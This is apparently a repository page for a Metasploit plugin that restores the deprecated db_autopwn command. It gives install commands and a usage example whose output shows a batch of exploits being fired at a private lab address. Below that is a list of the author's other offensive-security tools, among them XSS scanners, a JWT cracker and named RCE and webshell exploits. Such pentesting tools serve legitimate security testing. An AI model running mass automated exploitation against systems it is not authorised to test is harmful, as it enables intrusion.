• Stars
    star
    192
  • Rank 195,144 (Top 4 %)
  • Language
    Ruby
  • Created over 6 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

db_autopwn plugin of metasploit

metasploit-autopwn

metasploit plugin for easy exploit & vulnerability attack.
But, the db_autopwn command is removed from official distribution.

Install

1. Clone this repo or download "db_autopwn.rb" file

  • clone this repository
#> git clone https://github.com/hahwul/metasploit-autopwn

or

  • download db_autopwn.rb file in metasploit plugin directory
#> wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb

2. Move dB_autopwn.rb file into metasploit plugin directory

#> cd metasploit-autopwn
#> cp db_autopwn.rb /usr/share/metasploit-framework/plugins

or (install path)

#> cp db_autopwn.rb /opt/metasploit-framework/plugins

Usage

#> msfconsole
MSF > load db_autopwn
[*] Successfully loaded plugin: db_autopwn

MSF > db_autopwn -p -R great -e -q 192.168.56.101 
[-] The db_autopwn command is DEPRECATED
[-] See http://r-7.co/xY65Zr instead
[*] (1/1301 [0 sessions]): Launching exploit/bsdi/softcart/mercantec_softcart against 192.168.56.44:80...
[*] (2/1301 [0 sessions]): Launching exploit/freebsd/http/watchguard_cmd_exec against 192.168.56.44:80...
[*] (3/1301 [0 sessions]): Launching exploit/linux/antivirus/escan_password_exec against 192.168.56.44:80...
[*] (4/1301 [0 sessions]): Launching exploit/linux/http/accellion_fta_getstatus_oauth against 192.168.56.44:80...
[*] (5/1301 [0 sessions]): Launching exploit/linux/http/advantech_switch_bash_env_exec against 192.168.56.44:80...

Donate

I like coffee! I'm a coffee addict.
Buy Me A Coffee

More Repositories

1

WebHackersWeapons

βš”οΈ Web Hacker's Weapons / A collection of cool tools used by Web hackers. Happy hacking , Happy bug-hunting
Ruby
3,581
star
2

dalfox

πŸŒ™πŸ¦Š Dalfox is a powerful open-source XSS scanner and utility focused on automation.
Go
3,152
star
3

DevSecOps

♾️ Collection and Roadmap for everyone who wants DevSecOps. Hope your DevOps are more safe 😎
Go
1,565
star
4

XSpear

πŸ”± Powerfull XSS Scanning and Parameter analysis tool&gem
Ruby
1,084
star
5

jwt-hack

πŸ”© jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)
Go
707
star
6

MobileHackersWeapons

Mobile Hacker's Weapons / A collection of cool tools used by Mobile hackers. Happy hacking , Happy bug-hunting
Go
624
star
7

a2sv

Auto Scanning to SSL Vulnerability
Python
610
star
8

mad-metasploit

Metasploit custom modules, plugins, resource script and.. awesome metasploit collection
Ruby
373
star
9

authz0

πŸ”‘ Authz0 is an automated authorization test tool. Unauthorized access can be identified based on URLs and Roles & Credentials.
Go
341
star
10

droid-hunter

(deprecated) Android application vulnerability analysis and Android pentest tool
Ruby
287
star
11

deadfinder

πŸ΄β€β˜ οΈ Find dead-links (broken links)
Ruby
123
star
12

RegexPassive

πŸ”­ Collection of regexp pattern for security passive scanning
109
star
13

mzap

⚑️ Multiple target ZAP Scanning
Go
99
star
14

hack-pet

🐰 Managing command snippets for hackers/bug bounty hunters. with pet.
Go
98
star
15

XSS-Payload-without-Anything

XSS Payload without Anything.
92
star
16

gee

🏡 Gee is tool of stdin to each files and stdout. It is similar to the tee command, but there are more functions for convenience. In addition, it was written as go
Go
79
star
17

s3reverse

The format of various s3 buckets is convert in one format. for bugbounty and security testing.
Go
78
star
18

websocket-connection-smuggler

websocket-connection-smuggler
Go
66
star
19

gitls

πŸ–‡ Enumerate git repository URL from list of URL / User / Org. Friendly to pipeline
Go
58
star
20

ws-smuggler

WebSocket Connection Smuggler
Go
48
star
21

ras-fuzzer

RAS(RAndom Subdomain) Fuzzer
Go
43
star
22

MemBi

All the members of bugbounty and infosec. If you don't know who to follow, see!
Go
35
star
23

backbomb

πŸ’£ Dockerized penetration-testing/bugbounty/app-sec testing environment
Go
33
star
24

hbxss

Security test tool for Blind XSS
Ruby
27
star
25

fuzzstone

My fuzz repo!
JavaScript
23
star
26

action-dalfox

XSS scanning with Dalfox on Github-action
Dockerfile
22
star
27

recon-raven

Reconnaissance tool of Penetration test & Bug Bounty
Ruby
22
star
28

vais

SWF Vulnerability & Information Scanner
HTML
21
star
29

noir

♠️ Noir is an attack surface detector form source code.
Crystal
20
star
30

xssmaze

XSSMaze is a web service designed to test and improve the performance of security testing tools by providing various cases of XSS vulnerabilities.
Crystal
20
star
31

asset-of-hahwul.com

assets for www.hahwul.com
Shell
19
star
32

can-i-protect-xss

Everything about xss protection technology
16
star
33

volt

⚑ Golang library for quick make pentest tools
Go
15
star
34

raven

Automation Hacking & Penetration Testing Suite
Ruby
13
star
35

vunlink

Auto Web Vulnerability Scanning Framework
Ruby
11
star
36

websocket-connection-smuggling-go

websocket-connection-smuggling write in go
Go
10
star
37

hahwul

about me!
9
star
38

zest-env

πŸ‹ Zest CLI Environment
Shell
9
star
39

awesome-zap-extensions

A curated list of amazingly awesome ZAP Extensions
8
star
40

github-aciton-injection-test

This repo is a sample repo for Github Action Injection.
8
star
41

VAHA

Web for security engineer & hacker
7
star
42

buildpack-nmap

install nmap and set alias buildpack of heroku
Shell
6
star
43

jqueen

Go
6
star
44

m2h.js

remote markdown document to html on DOM
JavaScript
6
star
45

zap-cloud-scan

5
star
46

homebrew-dalfox

Ruby
5
star
47

hahwul-testzz

tool, page code for https://www.hahwul.com
HTML
5
star
48

qs-openvpn

quick setup openvpn
Shell
5
star
49

eoyc

Encoding Only Your Choices
Crystal
5
star
50

zaproxy-ruby

A Ruby Implementation and Library for Easy Utilization of ZAP API
Ruby
5
star
51

cyan-snake

Live OS for Physical hacking
Ruby
5
star
52

podopunch

Easy testing from multiple android devices
Python
5
star
53

openvas_install_script

OpenVAS Scanner Install Script on Debian
Shell
5
star
54

rings

Ruby
4
star
55

licaner

Go
4
star
56

homebrew-jwt-hack

Ruby
4
star
57

buildpack-zap-daemon

zap(zed attack proxy) daemon mode buildpack of heroku
Shell
4
star
58

restime

Web page response time checker
Python
4
star
59

exploit-db_to_dokuwiki

exploit-db(edb) convert to dokuwiki template
Python
4
star
60

homebrew-backbomb

backbomb homebrew repository
Ruby
4
star
61

booungJS

Vulnerability analysis to javascript using javascript and web debugger
JavaScript
4
star
62

homebrew-authz0

Ruby
3
star
63

struts2-rce-cve-2017-9805-ruby

cve -2017-9805
Ruby
3
star
64

homebrew-mzap

Ruby
3
star
65

go-github-selfupdate-patched

go get error patched version
Go
3
star
66

crystal-smuggle

Toy :D
Crystal
3
star
67

CaidoTweaks

3
star
68

shooting-scheme

custom scheme testing tool with checklist
3
star
69

ftc

simple copy to file to clipboard
Ruby
3
star
70

action-authz0-test

3
star
71

mycert

Ruby
2
star
72

lab

lab.hahwul.com
2
star
73

homebrew-gee

Ruby
2
star
74

jekyll-securitytxt

Jekyll plugin for security.txt
Ruby
2
star
75

homebrew-s3reverse

Ruby
2
star
76

heroku-buildpack-geckodriver

2
star
77

vuln_test

<video><embed><object><meta><body><script><frame><frameset>
2
star
78

projectsend_r582_webshell

ProjectSend_r582_webshell exploit
Ruby
1
star
79

homebrew-eoyc

Ruby
1
star
80

hlogger

golang logger for hahwul z
Go
1
star
81

caido-crystal

Caido implementation for crystal
Crystal
1
star